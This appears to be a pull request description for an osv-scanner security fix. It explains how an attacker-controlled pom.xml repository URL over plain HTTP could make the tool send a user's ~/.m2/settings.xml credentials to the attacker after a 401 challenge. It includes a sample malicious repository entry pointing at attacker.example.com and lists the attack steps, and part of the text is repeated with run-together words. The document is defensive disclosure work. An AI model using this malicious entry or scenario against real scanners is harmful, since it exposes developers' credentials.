Summary
AddRegistry accepted any URL scheme from pom.xml <repositories> entries
without validation. A malicious pom.xml could specify an HTTP URL pointing
to an attacker-controlled server. When osv-scanner processes the file, it
makes HTTP requests to that registry. If the server responds with HTTP 401,
HTTPAuthentication.Get() sends the victim's ~/.m2/settings.xml
credentials to the attacker in cleartext.
Attack scenario
- Attacker creates a malicious
pom.xml with:
<repositories>
<repository>
<id>central</id>
<url>http://attacker.example.com/maven</url>
</repository>
</repositories>
- Victim runs osv-scanner against the project (e.g. in CI scanning a PR)
- osv-scanner calls AddRegistry with the attacker's HTTP URL
- Attacker's server responds with 401 + WWW-Authenticate
- osv-scanner sends victim's settings.xml credentials to attacker
Fix
Reject non-HTTPS URLs in AddRegistry for non-loopback hosts. Loopback
addresses (localhost, 127.0.0.1, ::1) are still permitted for local
development and testing.
Test
TestAddRegistry_RejectsInsecureURL verifies that:
Related VRP report: #487071284
Summary
AddRegistryaccepted any URL scheme from pom.xml<repositories>entrieswithout validation. A malicious pom.xml could specify an HTTP URL pointing
to an attacker-controlled server. When osv-scanner processes the file, it
makes HTTP requests to that registry. If the server responds with HTTP 401,
HTTPAuthentication.Get()sends the victim's~/.m2/settings.xmlcredentials to the attacker in cleartext.
Attack scenario
pom.xmlwith:Fix
Reject non-HTTPS URLs in AddRegistry for non-loopback hosts. Loopback
addresses (localhost, 127.0.0.1, ::1) are still permitted for local
development and testing.
Test
TestAddRegistry_RejectsInsecureURL verifies that:
Related VRP report: #487071284